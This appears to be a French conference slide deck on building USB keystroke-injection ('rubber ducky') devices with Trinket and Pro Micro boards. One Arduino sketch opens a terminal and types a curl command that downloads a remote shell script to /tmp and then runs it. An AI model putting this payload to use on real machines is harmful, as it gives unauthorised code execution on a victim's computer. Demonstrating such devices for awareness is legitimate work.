DROP THAT KEY (🐭)

Aurélien LOYER

Nathan DAMIE

Aurélien LOYER

@AurelienLoyer

Zenika Lille

Nathan DAMIE

@Nathan_DAMIE

Zenika Lille

La carte

La CARTE

Trinket

Référence : Adafruit Trinket - Mini Microcontroller - 5V Logic

Architecture: AVR

Technologie :8-bit MCU

Tension de fonctionnement : 2.3 - 16 V

Long Larg Haut : 26 x 15.5 x 5

 

#include <TrinketKeyboard.h>
  
void pressEnter() {
    TrinketKeyboard.pressKey(0, 0x28);
    delay(10);

    TrinketKeyboard.pressKey(0,0);
    delay(300);
}

  
void setup() {
    TrinketKeyboard.begin();
   
    delay(500);
   
    // Go to tiny url => "goo.gl/Cfq56P"
    TrinketKeyboard.print("goo<gl>cfa%^P");  
   
    delay(100);

    pressEnter();
}

void loop() {}

applaudissements 

L'autre carte

l'autre carte

Pro Micro

Référence : KOOKYE Pro Micro Module Board ATmega32U4 5V/16MHz

Architecture: AVR

Technologie :8-bit MCU

Tension de fonctionnement : 5 - 8 V

Long Larg Haut : 34 x 15.5 x 5

 

#include "azertykeyboard.h"

const int upButton = 20;    
const int downButton = 18;        
const int leftButton = 21;
const int rightButton = 19;
const int aButton = 6;
const int bButton = 6;

void setup() {
 pinMode(upButton, INPUT_PULLUP);
 pinMode(downButton, INPUT_PULLUP);
 pinMode(leftButton, INPUT_PULLUP);
 pinMode(rightButton, INPUT_PULLUP);
 Keyboard.begin();
}

void loop() {

 if (digitalRead(upButton) == LOW) {
   Keyboard.press(KEY_UP_ARROW);
   Keyboard.release(KEY_UP_ARROW);
 }
 if (digitalRead(downButton) == LOW) {
   Keyboard.press(KEY_DOWN_ARROW);
   Keyboard.release(KEY_DOWN_ARROW);
 }
 if (digitalRead(leftButton) == LOW) {
   Keyboard.press(KEY_LEFT_ARROW);
   Keyboard.release(KEY_LEFT_ARROW);
 }
 if (digitalRead(rightButton) == LOW) {
   Keyboard.press(KEY_RIGHT_ARROW);
   Keyboard.release(KEY_RIGHT_ARROW);
   
 }
 delay(300);
}

COmment j'ai hacker ma mère

#include "Keyboard.h"


void setup(){
  
    // Begining the Keyboard stream
    Keyboard.begin();
    
    delay(1000);
    Keyboard.press(KEY_LEFT_GUI);
    Keyboard.press(' ');
    Keyboard.releaseAll();

    delay(1000);
    Keyboard.print(F("ter;inql")); // terminal
  
    delay(500);
    typeKey(KEY_RETURN);
    delay(500);
    
    // curl -L goo.gl/Nedj8n -o /tmp/script.sh
    Keyboard.print(F("curl =L goo<gl>Nedj*n =o >t;p>toto<sh"));
    typeKey(KEY_RETURN);
    delay(500);
    
    delay(500);
    typeKey(KEY_RETURN);
    delay(100);

    // sh /tmp/script.sh
    Keyboard.print(F("sh >t;p>toto<sh"));
    delay(500);
    typeKey(KEY_RETURN);
    
    Keyboard.end();
}


void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

Trinket

  • Très petit
  • Facile à prendre en main
  • Driver introuvable sur MAC 
  • Boot 5 minutes

Pro micro

  • Un peu plus gros
  • Souci avec le clavier AZERTY
  • Boot directement (❗️)

Exemples

Bien  ||  MAL

Exemples

  • Automatisation  d'actions
  • Clavier / souris / manette custom
  • Hacker une usine nucléaire
  • ...

PLUS Exemples

T3kstiil3/drop-that-key

trick

Astuce 

Éviter de "s'auto-hacker"

#include "Keyboard.h"

int RXLED = 17;

void setup(){

  pinMode(RXLED, OUTPUT);
  
  // ACTIVE OR NOT HACK
  // PUT JUMPER ENTER 7 && 14 TO PREVENT HACK

  pinMode(7, OUTPUT);
  digitalWrite(7, LOW);

  pinMode(14, INPUT_PULLUP);
    
  if(digitalRead(14) == LOW){
    blinkNoHack();
  }else {
    // Malicious Code ;)
  }
}

void blinkNoHack()
{
  delay(1000);
  digitalWrite(RXLED, HIGH);
  delay(1000);
  digitalWrite(RXLED, LOW);
  delay(1000);
  digitalWrite(RXLED, HIGH);
  delay(1000);
  digitalWrite(RXLED, LOW);
}


/* Unused endless loop */
void loop() {}

TRUE STORY

PEtite histoire

Tester sur le terrain

 

Tu n'as pas une clé ? 

 

Perte de confiance 😢

TU veux MA souris ?

Questions ?

Merci

Vous avez été supers !

Drop That Key

By Aurelien Loyer

Drop That Key

  • 2,003